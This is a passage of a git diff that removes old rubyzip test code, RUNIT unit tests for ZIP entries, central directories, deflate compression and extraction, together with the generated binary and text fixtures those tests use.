compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/data/generated/5entry.zip b/lib/zip/test/data/generated/5entry.zip deleted file mode 100644 index ef580052ed..0000000000 Binary files a/lib/zip/test/data/generated/5entry.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/empty.zip b/lib/zip/test/data/generated/empty.zip deleted file mode 100644 index 15cb0ecb3e..0000000000 Binary files a/lib/zip/test/data/generated/empty.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/empty_chmod640.txt b/lib/zip/test/data/generated/empty_chmod640.txt deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/zip/test/data/generated/emptytestdir/.keep b/lib/zip/test/data/generated/emptytestdir/.keep deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/zip/test/data/generated/longAscii.txt b/lib/zip/test/data/generated/longAscii.txt deleted file mode 100644 index 91e1cc1ce0..0000000000 --- a/lib/zip/test/data/generated/longAscii.txt +++ /dev/null @@ -1,4512 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end 